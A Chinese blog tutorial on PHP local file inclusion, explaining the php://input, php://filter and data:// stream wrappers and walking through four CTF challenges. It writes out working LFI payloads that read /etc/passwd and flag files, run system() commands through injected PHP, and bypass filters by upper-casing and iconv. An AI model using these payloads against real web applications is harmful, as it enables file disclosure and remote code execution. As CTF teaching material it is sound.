本地文件包含漏洞详解与CTF实战
1. 本地文件包含简介
1.1 本地文件包含定义
本地文件包含是一种Web应用程序漏洞,攻击者通过操控文件路径参数,使得服务器端包含了非预期的文件,从而可能导致敏感信息泄露。
常见的攻击方式包括:
- 包含配置文件、日志文件等敏感信息文件,导致信息泄露。
- 包含某些可执行文件或利用文件上传功能生成的恶意文件,进而执行任意代码。
示例:
<?php
$file = $_GET['file'];
include($file);
?>
1.2 php伪协议
PHP 伪协议允许开发者通过指定不同的输入源来读取、处理和引入数据,这一特性在文件包含漏洞(如 include
或 require
)中被滥用,导致攻击者能够通过伪协议来读取敏感数据或执行恶意代码。
以下是在文件包含漏洞中常用的伪协议。
php://input
:- 攻击者可以通过伪协议
php://input
读取 POST 数据并将其作为包含文件的内容。这允许攻击者上传或注入恶意代码,导致代码执行。 - 用法:
?file=php://input
+post包
- 攻击者可以通过伪协议
php://filter
:- 通过
php://filter
伪协议,攻击者可以将目标文件的内容以编码的形式返回,这使得攻击者可以读取敏感文件的内容(如配置文件)。 - 用法
?file=php://filter/[参数+过滤器]/resource=[target_file]
- 示例:
如果用户传入file=php://filter/read=convert.base64-encode/resource=/etc/passwd
,服务器会返回/etc/passwd
文件的 base64 编码内容,攻击者可以解码并查看文件。
- 通过
data://
:- 攻击者可以使用
data://
伪协议注入任意代码并执行。例如: - 示例:
攻击者可以通过传入file=data:text/plain,<?php system('ls'); ?>
,让 PHP 执行ls
命令。
php伪协议的更详细内容参考php伪协议总结
- 攻击者可以使用
2.CTF实战
本文靶场全部来源于攻防世界
2.1 file_include
1. 题目&分析
highlight_file(__FILE__);
的作用是将当前文件的源码(包括文件包含的的内容)以高亮的形式展示,因此我们才能利用这个漏洞。
本题包含了一个check.php
,从字面上暗示了会对我们传入的参数进行一定过滤
本题用get方式接收了参数filename,并对文件进行包含,我们可以通过伪协议进行文件读取
2. 解法
本题的过滤非常的严格,而且由于check.php
的内容是不知道的,只能不断尝试
php://input
无回显
/?filename=php://input
post:<?php phpinfo();?>
data://
无回显
/?filename=data:text/plain,<?php phpinfo();?>
php://filter
/?filename=php://filter/read=convert.base64-encode/resource=flag.php
尝试上方代码显示do not hack!
,尝试后发现read
与base64-encode
被过滤了:read
可以直接省略,当参数缺省时默认为read
;而后者需要替换其他的过滤器
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/string.strip_tags/resource=flag.php
又尝试使用了多个过滤器,发现都显示do not hack!
被过滤了。
实际上,本题考察的是下方这个比较冷门的过滤器
?filename=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
得到flag
3. 小结
本题主要考察了php://filter
的用法,尤其是对参数与过滤器的了解。
2.2 fileclude
1. 题目&分析
本题通过get方式接受两个参数file1
与file2
本题对file1
进行包含,此处可以通过伪协议去包含flag.php
本题会读取文件file2
的内容并与hello ctf
比较,需要注意的是,如果我们直接传入file2=hello ctf
,file_get_contents
函数会去读取hello ctf
这个文件,这显然无法得到任何内容。要想满足该if条件,必须通过伪协议将字符串传输给file2
,这样PHP 会将字符串 "hello ctf"
作为文件内容进行比较。
2 解法
本题解法就比较简单了,file1
通过php://filter
读取flag
,file2
通过data://
输入hello ctf
。注意最后得到的字符串需要Base64解码,就是flag了
/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
3. 小结
本题难点在于正确认识file_get_contents
函数的性质,从而选择data://
输入hello ctf
此外,值得一提的是,使用某些过滤器读取flag
出现了报错的现象,这是由于其编码过程破坏了php的语法,使得PHP 解析器无法识别这些字符串。一般来说,使用 Base64 是不出出现这种编码问题的,因为 Base64 是一种可以将二进制数据安全编码为 ASCII 字符的方式,不会对 PHP 代码造成语法错误。不妨只有当Base64被过滤的情况下,再去考虑尝试其他的过滤器。
2.3 fileinclude
1. 题目&分析
页面中给出了两个提示
文件的路径为/var/www/html/
,暗示利用伪协议读取的时候需要输入完整路径,而非像之前一样直接包含即可
flag
文件的名字叫flag.php
按F12查看网页源代码,给出新的提示。本题在cookie处接受一个language
参数,赋值给lan
与.php
拼接后被文件包含,最后文件内容随着index.php
被输出前端。
2. 解题
利用hackbar添加cookie,内容如下。得到字符串后需要Base64解码。
language=php://filter/convert.base64-encode/resource=/var/www/html/flag
3. 小结
本题与之前的不同之处有两点
- 传参使用的是cookie,而非get。推广出去,get、post、cookie都有可能成为提交的方式。
- 本题的包含要求了具体的路径,之前的题目可能是因为设置了
include_path
使得include
直接包含了flag.php
2.4 Web_php_include
1. 题目&分析
本题存在两个get方式接受的参数,但是hello
参数被接收后既没有被包含,也不参与条件的判断,认为在本题中不起作用,不过他显然会引起xss漏洞,此处不作详解。
对于page
参数,通过strstr
函数对php://
进行了过滤。
2. 解法一 PHP大写绕过
考虑到php是大小写不敏感的,但是strstr
函数是大小写敏感的,可以通过大写PHP://
来绕过过滤。
尝试下方语句后发现flag未正常回显,猜测flag所在的文件名并不是flag.php
/?page=PHP://filter/read=convert.base64-encode/resource=flag.php
尝试用PHP://input
写入php代码读取
/?page=PHP://input
<?php system("ls -lah")?> //查看当前目录下所有文件
<?php system("tac fl4gisisish3r3.php")?> //读取上一步看到的flag文件
3. 解法二 data://
执行命令
直接利用data://
执行命令得到flag
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain,<?php system("tac fl4gisisish3r3.php")?>
值得一提的是,如果对写入内容有过滤的话,可以对写入内容进行Base64编码,此处不需要进行编码,直接做即可。
/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIp
4. 小结
本题与之前不同的是flag的文件名称为fl4gisisish3r3.php
,这导致了不可能通过直接读取的方式获取flag,而必须要通过命令执行的方式来找到其名称。
宇宙安全声明
本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。